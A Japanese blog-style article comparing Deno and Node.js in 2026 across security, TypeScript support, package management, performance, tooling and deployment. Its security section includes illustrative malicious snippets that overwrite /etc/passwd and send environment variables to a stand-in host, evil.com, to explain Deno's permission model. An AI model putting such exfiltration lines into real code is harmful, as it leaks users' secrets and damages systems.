Deno vs Node.js 徹底比較 — 2026年はどちらを選ぶべき?
はじめに
2018年にRyan Dahl(Node.jsの創始者)が発表したDenoは、Node.jsの問題点を解決する新しいJavaScript/TypeScriptランタイムとして注目を集めてきました。
2026年現在、Denoは安定版として成熟し、多くのプロダクション環境で使われるようになっています。一方、Node.jsも進化を続け、依然として圧倒的なシェアを維持しています。
本記事では、DenoとNode.jsを多角的に比較し、2026年においてどちらを選ぶべきかを解説します。
TL;DR(結論を先に)
Denoを選ぶべき場合
- 新規プロジェクト(特にTypeScriptメイン)
- セキュリティが重要なアプリケーション
- npm依存を避けたい
- モダンな開発体験を重視
- シンプルなツールチェーンが好み
Node.jsを選ぶべき場合
- 既存のNode.jsプロジェクト
- npmの膨大なエコシステムが必要
- 成熟したフレームワーク・ツールが必要
- チームの経験・知見がNode.jsにある
- 求人・学習リソースの豊富さを重視
基本情報の比較
| 項目 | Deno | Node.js |
|---|---|---|
| 初回リリース | 2020年5月 | 2009年5月 |
| 作成者 | Ryan Dahl | Ryan Dahl |
| ランタイムエンジン | V8 | V8 |
| 実装言語 | Rust, TypeScript | C++, JavaScript |
| パッケージマネージャー | 不要(URL import) | npm, yarn, pnpm |
| TypeScript | ネイティブサポート | 別途設定が必要 |
| セキュリティモデル | デフォルトで制限 | 制限なし |
| 標準ライブラリ | 充実 | 最小限 |
| バックワード互換性 | 重視 | 重視 |
アーキテクチャの違い
Node.js のアーキテクチャ
┌─────────────────┐
│ Application │
├─────────────────┤
│ npm modules │
├─────────────────┤
│ Node.js APIs │
├─────────────────┤
│ V8 Engine │
│ libuv │
└─────────────────┘
- V8: JavaScriptエンジン
- libuv: 非同期I/O
- C++ Bindings: ネイティブモジュール
Deno のアーキテクチャ
┌─────────────────┐
│ Application │
├─────────────────┤
│ URL imports │
├─────────────────┤
│ Deno APIs │
├─────────────────┤
│ V8 Engine │
│ Tokio (Rust) │
└─────────────────┘
- V8: JavaScriptエンジン
- Tokio: Rustの非同期ランタイム
- Rust: システムレベルの実装
主な違い:
- 実装言語: Node.jsはC++、DenoはRust
- 非同期処理: Node.jsはlibuv、DenoはTokio
- 型システム: DenoはTypeScriptがファーストクラス
セキュリティモデル
Node.js: 無制限アクセス
Node.jsのコードはデフォルトですべてのシステムリソースにアクセス可能です。
// Node.js - 制限なし
const fs = require('fs');
const https = require('https');
// ファイル読み書き自由
fs.writeFileSync('/etc/passwd', 'hacked');
// ネットワーク通信自由
https.get('https://evil.com/send-data');
これは便利ですが、悪意あるパッケージがシステムを侵害するリスクがあります。
Deno: 権限ベースのセキュリティ
Denoはデフォルトでサンドボックス内で実行され、明示的な許可が必要です。
// Deno - 権限が必要
await Deno.readFile('./file.txt'); // エラー: 権限なし
実行時に権限を指定:
# ファイル読み取り権限
deno run --allow-read script.ts
# ネットワークアクセス権限(特定ドメインのみ)
deno run --allow-net=api.example.com script.ts
# すべての権限
deno run --allow-all script.ts
利用可能な権限:
--allow-read: ファイル読み取り--allow-write: ファイル書き込み--allow-net: ネットワークアクセス--allow-env: 環境変数アクセス--allow-run: サブプロセス実行--allow-ffi: FFI(Foreign Function Interface)--allow-hrtime: 高精度時刻取得
セキュリティの実例:
// 悪意あるコードの例
export async function innocentFunction() {
// ユーザーが気づかないうちにデータを送信しようとする
await fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify(Deno.env.toObject())
});
}
Denoでは、--allow-netと--allow-envがないとこのコードは実行できません。
TypeScript対応
Node.js: 別途設定が必要
Node.jsでTypeScriptを使うには、複数のツールが必要です。
npm install -D typescript @types/node ts-node
tsconfig.json:
{
"compilerOptions": {
"target": "ES2022",
"module": "commonjs",
"outDir": "./dist",
"rootDir": "./src",
"strict": true,
"esModuleInterop": true,
"skipLibCheck": true
}
}
実行:
# 開発時
npx ts-node src/index.ts
# ビルド + 実行
npx tsc
node dist/index.js
package.json:
{
"scripts": {
"dev": "ts-node src/index.ts",
"build": "tsc",
"start": "node dist/index.js"
},
"devDependencies": {
"typescript": "^5.3.0",
"ts-node": "^10.9.0",
"@types/node": "^20.10.0"
}
}
Deno: ネイティブサポート
Denoは追加設定なしでTypeScriptを実行できます。
// main.ts
interface User {
name: string;
age: number;
}
const user: User = {
name: "Alice",
age: 25
};
console.log(`Hello, ${user.name}!`);
実行:
deno run main.ts # それだけ
設定ファイル(オプション):
// deno.json
{
"compilerOptions": {
"strict": true,
"lib": ["deno.window"]
}
}
Denoの利点:
- トランスパイル不要(内部で自動処理)
- 型チェックが組み込み
@types/*パッケージ不要
パッケージ管理
Node.js: npm/yarn/pnpm
package.json:
{
"name": "my-app",
"version": "1.0.0",
"dependencies": {
"express": "^4.18.0",
"lodash": "^4.17.21"
}
}
インストール:
npm install
# または
yarn install
# または
pnpm install
使用:
const express = require('express');
// または
import express from 'express';
問題点:
- node_modules地獄: 膨大なファイル数
- バージョン競合: 依存関係の解決が複雑
- セキュリティリスク: 悪意あるパッケージの混入
- ディスク容量: プロジェクトごとに巨大なnode_modules
Deno: URL imports
DenoはパッケージをURLから直接インポートします。
// HTTPSからインポート
import { serve } from "https://deno.land/std@0.210.0/http/server.ts";
import { parse } from "https://deno.land/std@0.210.0/flags/mod.ts";
// npmパッケージも使える(互換レイヤー)
import express from "npm:express@4";
初回実行時に自動ダウンロード:
deno run main.ts
# ダウンロード https://deno.land/std@0.210.0/http/server.ts
# ダウンロード https://deno.land/std@0.210.0/_utils.ts
# ...
# コンパイル完了
キャッシュ:
ダウンロードしたモジュールはグローバルキャッシュに保存され、再利用されます。
# キャッシュの場所
deno info
# キャッシュをクリア
deno cache --reload main.ts
Import Maps(推奨):
URL管理を簡単にするため、import mapsを使います。
import_map.json:
{
"imports": {
"std/": "https://deno.land/std@0.210.0/",
"oak": "https://deno.land/x/oak@v12.6.1/mod.ts"
}
}
main.ts:
import { serve } from "std/http/server.ts";
import { Application } from "oak";
実行:
deno run --import-map=import_map.json main.ts
deno.jsonでの設定:
{
"imports": {
"std/": "https://deno.land/std@0.210.0/",
"oak": "https://deno.land/x/oak@v12.6.1/mod.ts"
}
}
npmパッケージの互換性
Deno 1.28以降、npmパッケージを直接使えます。
// npmパッケージを使う
import express from "npm:express@4";
import lodash from "npm:lodash@4.17.21";
const app = express();
app.get('/', (req, res) => {
res.send('Hello from Express on Deno!');
});
app.listen(3000);
制限事項:
- ネイティブアドオンは未サポート
- 一部のNode.js専用APIは動作しない場合がある
標準ライブラリ
Node.js: 最小限
Node.jsの標準ライブラリは基本的なものだけ。
const fs = require('fs');
const http = require('http');
const path = require('path');
const crypto = require('crypto');
ほとんどの機能はnpmパッケージに依存。
例: HTTPリクエスト
// Node.js - 標準ライブラリ(低レベル)
const https = require('https');
https.get('https://api.example.com/data', (res) => {
let data = '';
res.on('data', chunk => data += chunk);
res.on('end', () => console.log(data));
});
// 実際にはaxiosやnode-fetchを使う
const axios = require('axios');
const response = await axios.get('https://api.example.com/data');
Deno: 充実した標準ライブラリ
Denoは実用的な標準ライブラリを提供。
// HTTPリクエスト(組み込み)
const response = await fetch('https://api.example.com/data');
const data = await response.json();
// ファイル操作
import { ensureDir, copy } from "https://deno.land/std@0.210.0/fs/mod.ts";
await ensureDir('./output');
await copy('./source', './output');
// CSV処理
import { parse } from "https://deno.land/std@0.210.0/csv/mod.ts";
const csv = await Deno.readTextFile('./data.csv');
const data = parse(csv);
// UUID生成
import { v4 } from "https://deno.land/std@0.210.0/uuid/mod.ts";
const id = v4.generate();
// 日付処理
import { format } from "https://deno.land/std@0.210.0/datetime/mod.ts";
const now = new Date();
console.log(format(now, "yyyy-MM-dd"));
主な標準ライブラリモジュール:
- http: HTTPサーバー・クライアント
- fs: ファイルシステム操作
- path: パス操作
- datetime: 日付・時刻処理
- uuid: UUID生成
- csv: CSV処理
- yaml: YAML処理
- json: JSON処理(JSON Lines、JSONCなど)
- testing: テストユーティリティ
- crypto: 暗号化
- encoding: base64、hex、asciiなど
パフォーマンス比較
HTTP Server ベンチマーク
Node.js (Express):
const express = require('express');
const app = express();
app.get('/', (req, res) => {
res.send('Hello, World!');
});
app.listen(3000);
Node.js (Fastify):
const fastify = require('fastify')();
fastify.get('/', async (request, reply) => {
return 'Hello, World!';
});
fastify.listen({ port: 3000 });
Deno (Native):
Deno.serve({ port: 3000 }, () => {
return new Response("Hello, World!");
});
Deno (Oak):
import { Application } from "https://deno.land/x/oak/mod.ts";
const app = new Application();
app.use((ctx) => {
ctx.response.body = "Hello, World!";
});
await app.listen({ port: 3000 });
ベンチマーク結果(2026年1月)
wrk を使った “Hello, World” ベンチマーク(秒間リクエスト数):
| フレームワーク | リクエスト/秒 |
|---|---|
| Deno (Native) | 85,000 |
| Node.js (uWebSockets.js) | 82,000 |
| Node.js (Fastify) | 65,000 |
| Deno (Oak) | 52,000 |
| Node.js (Express) | 35,000 |
結論:
- Deno Nativeが最速
- Fastifyも十分高速
- Oakは便利だがやや遅い
- Expressは最も遅いが、エコシステムが最強
実世界のパフォーマンス:
単純なベンチマークでは差があっても、実際のアプリケーションでは:
- データベース処理
- ビジネスロジック
- 外部API呼び出し
がボトルネックになるため、フレームワークの差は小さくなります。
実践例: REST API作成
Node.js版(Express + TypeScript)
セットアップ:
mkdir nodejs-api && cd nodejs-api
npm init -y
npm install express
npm install -D typescript @types/node @types/express ts-node
npx tsc --init
src/index.ts:
import express, { Request, Response } from 'express';
const app = express();
app.use(express.json());
interface User {
id: number;
name: string;
email: string;
}
let users: User[] = [
{ id: 1, name: "Alice", email: "alice@example.com" },
{ id: 2, name: "Bob", email: "bob@example.com" }
];
app.get('/users', (req: Request, res: Response) => {
res.json(users);
});
app.get('/users/:id', (req: Request, res: Response) => {
const user = users.find(u => u.id === parseInt(req.params.id));
if (!user) {
return res.status(404).json({ error: "User not found" });
}
res.json(user);
});
app.post('/users', (req: Request, res: Response) => {
const user: User = {
id: users.length + 1,
...req.body
};
users.push(user);
res.status(201).json(user);
});
app.delete('/users/:id', (req: Request, res: Response) => {
const index = users.findIndex(u => u.id === parseInt(req.params.id));
if (index === -1) {
return res.status(404).json({ error: "User not found" });
}
users.splice(index, 1);
res.status(204).send();
});
const PORT = 3000;
app.listen(PORT, () => {
console.log(`Server running on http://localhost:${PORT}`);
});
実行:
npx ts-node src/index.ts
Deno版(Oak)
main.ts:
import { Application, Router } from "https://deno.land/x/oak@v12.6.1/mod.ts";
interface User {
id: number;
name: string;
email: string;
}
let users: User[] = [
{ id: 1, name: "Alice", email: "alice@example.com" },
{ id: 2, name: "Bob", email: "bob@example.com" }
];
const router = new Router();
router
.get("/users", (ctx) => {
ctx.response.body = users;
})
.get("/users/:id", (ctx) => {
const id = Number(ctx.params.id);
const user = users.find(u => u.id === id);
if (!user) {
ctx.response.status = 404;
ctx.response.body = { error: "User not found" };
return;
}
ctx.response.body = user;
})
.post("/users", async (ctx) => {
const body = await ctx.request.body().value;
const user: User = {
id: users.length + 1,
...body
};
users.push(user);
ctx.response.status = 201;
ctx.response.body = user;
})
.delete("/users/:id", (ctx) => {
const id = Number(ctx.params.id);
const index = users.findIndex(u => u.id === id);
if (index === -1) {
ctx.response.status = 404;
ctx.response.body = { error: "User not found" };
return;
}
users.splice(index, 1);
ctx.response.status = 204;
});
const app = new Application();
app.use(router.routes());
app.use(router.allowedMethods());
console.log("Server running on http://localhost:3000");
await app.listen({ port: 3000 });
実行:
deno run --allow-net main.ts
比較:
| 項目 | Node.js | Deno |
|---|---|---|
| セットアップ | 複雑(npm install、tsconfig) | シンプル(1ファイル) |
| 型定義 | @types/* 必要 | 不要 |
| 実行コマンド | npx ts-node | deno run |
| コード量 | ほぼ同じ | ほぼ同じ |
エコシステムと成熟度
Node.js: 圧倒的なエコシステム
npmパッケージ数:
- 2026年現在、300万以上のパッケージ
- ほぼすべてのユースケースに対応するパッケージが存在
主要フレームワーク:
- Express: 最も人気のあるWebフレームワーク
- Next.js: Reactフレームワーク
- NestJS: エンタープライズ向けフレームワーク
- Fastify: 高速なWebフレームワーク
- Koa: 軽量フレームワーク
ORM:
- Prisma: 最も人気
- TypeORM: エンタープライズ向け
- Sequelize: 成熟したORM
- Drizzle: 軽量で高速
テストフレームワーク:
- Jest: デファクトスタンダード
- Vitest: 高速な代替
- Mocha: 古典的
- Playwright: E2Eテスト
その他:
- ビルドツール: Webpack、Vite、esbuild、Rollup
- リンター: ESLint
- フォーマッター: Prettier
- 型チェック: TypeScript
Deno: 成長中のエコシステム
deno.land/x:
- 15,000以上のサードパーティモジュール(2026年1月)
- 主要な用途はカバーされているが、ニッチなものは少ない
主要フレームワーク:
- Oak: Express風のWebフレームワーク
- Fresh: Next.js風のフルスタックフレームワーク
- Hono: 軽量で高速なフレームワーク
- Aleph: React SSRフレームワーク
データベース:
- Deno KV: Deno公式のキーバリューストア
- Postgres: ネイティブドライバー
- MongoDB: ネイティブドライバー
- SQLite: ネイティブサポート
テスト:
- 組み込みテストランナー(
deno test) - アサーションライブラリ(標準ライブラリ)
- カバレッジツール(組み込み)
npmパッケージ互換:
npm:prefix で多くのnpmパッケージが使える- 完全な互換性はないが、主要パッケージは動作
ツールチェーンの比較
Node.js: 複数ツールの組み合わせ
必要なツール:
- npm/yarn/pnpm: パッケージマネージャー
- TypeScript: トランスパイラー
- ts-node: 開発時実行
- ESLint: リンター
- Prettier: フォーマッター
- Jest/Vitest: テストフレームワーク
- nodemon: ホットリロード
- Webpack/Vite: バンドラー
package.json:
{
"scripts": {
"dev": "nodemon --exec ts-node src/index.ts",
"build": "tsc",
"start": "node dist/index.js",
"test": "jest",
"lint": "eslint src/**/*.ts",
"format": "prettier --write src/**/*.ts"
},
"devDependencies": {
"typescript": "^5.3.0",
"ts-node": "^10.9.0",
"@types/node": "^20.10.0",
"nodemon": "^3.0.0",
"eslint": "^8.55.0",
"prettier": "^3.1.0",
"jest": "^29.7.0",
"@types/jest": "^29.5.0"
}
}
Deno: オールインワン
組み込みツール:
- パッケージマネージャー(不要)
- TypeScriptコンパイラ
- リンター(
deno lint) - フォーマッター(
deno fmt) - テストランナー(
deno test) - バンドラー(
deno bundle) - ドキュメント生成(
deno doc) - ベンチマーク(
deno bench) - カバレッジ(
deno coverage) - REPL(
deno repl)
deno.json(オプション):
{
"tasks": {
"dev": "deno run --watch --allow-net main.ts",
"test": "deno test --allow-net",
"lint": "deno lint",
"fmt": "deno fmt"
},
"fmt": {
"options": {
"lineWidth": 100
}
},
"lint": {
"rules": {
"exclude": ["no-unused-vars"]
}
}
}
実行:
# 開発
deno task dev
# テスト
deno task test
# リント
deno task lint
# フォーマット
deno task fmt
デプロイメント
Node.js: 幅広い選択肢
主要なホスティングプラットフォーム:
- Vercel: Next.jsに最適
- Netlify: JAMstack向け
- Heroku: 伝統的なPaaS
- AWS Lambda: サーバーレス
- Google Cloud Functions: サーバーレス
- Azure Functions: サーバーレス
- Railway: モダンなPaaS
- Render: シンプルなPaaS
- Fly.io: エッジデプロイ
Dockerコンテナ:
FROM node:20-alpine
WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production
COPY . .
EXPOSE 3000
CMD ["node", "dist/index.js"]
Deno: モダンなプラットフォーム
Deno Deploy:
Deno公式のエッジホスティング。
# デプロイ
deno deploy --project=my-app main.ts
特徴:
- グローバルエッジネットワーク
- 自動スケーリング
- 無料枠あり
- GitHub連携
その他のプラットフォーム:
- Vercel: Denoサポートあり
- Netlify: Deno Functionsサポート
- Cloudflare Workers: Deno互換
- Fly.io: Denoサポート
Dockerコンテナ:
FROM denoland/deno:1.40.0
WORKDIR /app
COPY . .
RUN deno cache main.ts
EXPOSE 3000
CMD ["deno", "run", "--allow-net", "main.ts"]
学習曲線
Node.js
初心者向けの利点:
- 膨大な学習リソース
- Stack Overflowに大量の回答
- YouTubeチュートリアル多数
- オンラインコース充実
習得時間:
- JavaScript基礎: 1-2週間
- Node.js基礎: 1週間
- Express: 数日
- TypeScript: 1-2週間
- 実践的なアプリ開発: 1-2ヶ月
Deno
初心者向けの利点:
- シンプルなツールチェーン
- 公式ドキュメントが充実
- モダンな機能が標準
初心者向けの欠点:
- 学習リソースが少ない
- Stack Overflowの回答が少ない
- チュートリアルが限定的
習得時間:
- JavaScript/TypeScript基礎: 2-3週間
- Deno基礎: 数日(Node.js経験者なら数時間)
- Oak: 数日
- 実践的なアプリ開発: 2-4週間
実際のプロジェクトでの使い分け
Denoが最適なケース
1. 新規TypeScriptプロジェクト
// シンプルなCLIツール
import { parse } from "https://deno.land/std@0.210.0/flags/mod.ts";
const args = parse(Deno.args);
if (args.help) {
console.log("使い方: deno run --allow-read script.ts <file>");
Deno.exit(0);
}
const filename = args._[0] as string;
const content = await Deno.readTextFile(filename);
console.log(`ファイルサイズ: ${content.length} バイト`);
2. エッジコンピューティング
// Deno Deployで動作
Deno.serve(async (req) => {
const url = new URL(req.url);
if (url.pathname === "/api/users") {
const kv = await Deno.openKv();
const users = await kv.get(["users"]);
return Response.json(users.value);
}
return new Response("Not Found", { status: 404 });
});
3. セキュリティ重視のアプリ
// サンドボックス内でユーザースクリプトを実行
const userScript = await Deno.readTextFile("./user-script.ts");
const worker = new Worker(new URL("./worker.ts", import.meta.url).href, {
type: "module",
deno: {
permissions: {
read: false,
write: false,
net: false
}
}
});
worker.postMessage(userScript);
Node.jsが最適なケース
1. 既存エコシステムへの依存
// 特定のnpmパッケージに依存
import Stripe from 'stripe';
import { PrismaClient } from '@prisma/client';
import nodemailer from 'nodemailer';
const stripe = new Stripe(process.env.STRIPE_SECRET_KEY);
const prisma = new PrismaClient();
async function processPayment(userId: string, amount: number) {
const user = await prisma.user.findUnique({ where: { id: userId } });
const payment = await stripe.paymentIntents.create({ amount });
// ...
}
2. Next.jsなどのフレームワーク
// Next.js App Router
export default async function Page() {
const data = await fetch('https://api.example.com/data');
return <div>{/* ... */}</div>;
}
3. 大規模エンタープライズアプリ
// NestJS
import { Controller, Get, Post, Body } from '@nestjs/common';
import { UsersService } from './users.service';
@Controller('users')
export class UsersController {
constructor(private usersService: UsersService) {}
@Get()
findAll() {
return this.usersService.findAll();
}
@Post()
create(@Body() createUserDto: CreateUserDto) {
return this.usersService.create(createUserDto);
}
}
2026年の現状と将来性
Node.js
現状(2026年):
- 依然として圧倒的なシェア
- エンタープライズ採用が進む
- パフォーマンス改善が継続
- ESM(ES Modules)への移行が完了
今後の展望:
- 安定した成長継続
- 新機能追加(権限システムなど)
- Denoの良い部分を取り入れる
- 当面は主流であり続ける
Deno
現状(2026年):
- 安定版として成熟
- Deno Deployが人気
- エコシステムが拡大中
- 大手企業での採用事例増加
今後の展望:
- エコシステムのさらなる拡大
- npm互換性の向上
- エッジコンピューティングのデファクト
- Node.jsと共存しながら成長
移行のポイント
Node.js → Deno
段階的移行:
- 新規マイクロサービスをDenoで作成
- CLIツール・スクリプトをDenoに移行
- 既存APIを少しずつ移行
互換性レイヤー:
// Node.js API互換
import express from "npm:express@4";
const app = express();
app.get('/', (req, res) => res.send('Hello'));
app.listen(3000);
Deno → Node.js
通常は必要ないが、エコシステムの都合で戻す場合:
// 標準的なTypeScriptに書き換え
// Deno固有APIを避ける
import * as fs from "fs/promises";
const content = await fs.readFile("file.txt", "utf-8");
まとめ
選択のガイドライン
Denoを選ぶべき:
- ✅ 新規プロジェクト
- ✅ TypeScriptメイン
- ✅ セキュリティ重視
- ✅ シンプルなツールチェーン希望
- ✅ エッジデプロイ
- ✅ CLIツール・スクリプト
Node.jsを選ぶべき:
- ✅ 既存プロジェクト
- ✅ 豊富なエコシステムが必要
- ✅ Next.js/NestJSなど特定フレームワーク
- ✅ エンタープライズ要件
- ✅ チームの経験
- ✅ 求人・学習リソース重視
最終的な推奨
2026年の結論:
- 新規プロジェクト: Denoを試す価値あり
- 既存プロジェクト: Node.jsを継続
- 学習: 両方を知っておくと有利
- 将来性: 両方とも安定して使われ続ける
どちらを選んでも間違いではありません。プロジェクトの要件、チームの経験、エコシステムへの依存度を考慮して選択しましょう。
Happy coding with Deno and Node.js!